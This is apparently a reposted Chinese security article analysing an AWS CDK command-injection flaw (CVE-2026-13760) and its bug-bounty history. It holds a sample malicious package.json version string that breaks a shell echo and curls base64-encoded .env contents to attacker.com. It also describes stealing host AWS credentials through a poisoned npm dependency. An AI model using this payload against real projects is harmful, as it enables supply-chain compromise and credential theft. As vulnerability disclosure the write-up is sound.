单引号绕过实现AWSCDKRCE

admin 2026-07-19 05:16:18 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文剖析AWSCDK命令注入漏洞CVE-2026-13760。因OsCommand类未转义单引号且JSON.stringify不处理该字符,攻击者可通过恶意npm包依赖版本字段注入命令。漏洞在cdksynth阶段触发,使ignore-scripts防御失效,结合Docker挂载可致宿主机凭证窃取与RCE。建议立即升级CDK至v2.260.0及以上版本。 综合评分: 89 文章分类: 漏洞分析,供应链安全,代码审计,SRC活动,云安全


cover_image

单引号绕过实现 AWSCDK RCE

kaporia kaporia

漏洞集萃

2026年7月15日 15:50 山东

在小说阅读器读本章

去阅读

免责声明 本公众号所发布的文章内容仅供学习与交流使用,禁止用于任何非法用途。

在测试一个私有漏洞赏金计划时,我遇到了一个

作者: kaporia
原文链接: https://hackerone.com/reports/3637898

01 被标记为Informative

安全研究员 kaporia 向 AWS VDP提交了一份报告,指出 aws-cdk-lib 中的 OsCommand 内部类存在命令注入漏洞。

一天后,HackerOne 团队给出了下述回复:

“这看起来依赖于在 lodash 版本号上附加命令……这不会影响直接使用 aws/aws-cdk 公开版本的用户。因此我们将关闭此报告,标记为 Informative。”

02 漏洞分析

AWS CDK 的 NodejsFunction 在使用 Docker 打包 Lambda 代码时,需要一个内部辅助类 OsCommand 来构造 shell 命令。其中 write() 方法长这样:

public write(filePath: string, data: string): string {
    return `echo '${data}' > "${filePath}"`;
    //           ^ 没有转义 — data 中的单引号会突破命令
}

当 nodeModules 被指定的时候,CDK 会从 package.json 读取依赖版本字符串,用 JSON.stringify() 序列化后传给 writeJson()

但是关键点在于:JSON.stringify() 不会转义单引号。所以任何一个包含单引号的版本字符串会原封不动地进入 shell 命令。

而且很搞笑的一点是——同一个文件里已经写好了正确的转义函数:P

// 已经存在,但从未被 OsCommand 调用
function posixShellEscape(arg: string): string {
    return "'" + arg.replace(/'/g, "'\\''") + "'";
}

函数就在那里,距离漏洞代码只有几十行。它只是没有被调用

03 利用

攻击者需要在恶意 npm 包的 package.json 中,把某个依赖的版本号写成类似下述内容即可:

{
  "dependencies": {
    "lodash": "4.17.21' && curl https://attacker.com/exfil?d=$(cat /asset-input/.env|base64) && echo '"
  }
}

当受害者运行 cdk synth 的时候,CDK 就会把版本字符串拼进 Docker 容器内的 bash 命令。随后由单引号截断了 echo,注入的命令在容器内执行。

并且Docker 容器并不是一个孤岛,CDK 的打包流程挂载了下述两个 bind mount:

/asset-input → 宿主机项目目录(读写)

/asset-output → 宿主机 .cdk.staging 目录(读写)

这也就是说注入的命令可以直接读写宿主机的项目文件:.env.git/config、源代码、甚至 ~/.aws/credentials

攻击者可以窃取 AWS 凭证、篡改 Lambda 构建产物植入后门、或者直接控制整个 CI/CD 流水线。

04 为什么 –ignore-scripts 无效

一般来讲,面对恶意 npm 包,业界标准防御手段是 npm install --ignore-scripts——禁止在安装阶段执行任何脚本。

但这个漏洞巧就巧在没有发生在安装阶段

原因很简单:漏洞发生在 cdk synth 阶段。CDK 自己在打包时读取了依赖的版本字符串,然后把它喂给了未转义的 shell 命令。

即使用户完全遵守了所有 npm 安全最佳实践,但只要安装了一个第三方包、在 NodejsFunction 中引用了它、然后运行了 cdk synth——攻击就触发了。没有任何警告,没有任何报错,静默执行。

05 从 Informative 到 High

报告被关闭后,kaporia 他继续补充了一个完整的供应链场景下的攻击 PoC。

而在其新提供新的复现场景中,开发者自己的 package.json 完全正常。开发者就只是安装了一个看起来没什么问题的第三方包 @evilcdk/analytics-helper,在 NodejsFunction 的 entry 中引用了它。

而CDK 在打包时会自动搜索 entry 文件最近的 package.json——也就是攻击者放在 node_modules 里的。所以被投毒的版本字符串随即就被读取、注入、执行

不久报告重新开启,severity 从 None 上调到 Medium。

重新评估之后,severity 定为 High (7.3)。修复在 CDK v2.260.0 中发布,CVE-2026-13760 和 AWS 安全公告于 7 月 1 日正式公开。

觉得本文内容对您有启发或帮助? 点个关注➕,获取更多深度分析与前沿资讯!

👉 往期精选

逻辑漏洞:邮箱注册 tips #11

非常用403绕过 Tips

一种利用 HTTP 重定向循环的新型 SSRF 技术

邮箱/手机验证绕过


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:漏洞集萃 kaporia kaporia《单引号绕过实现 AWSCDK RCE》

评论:0   参与:  0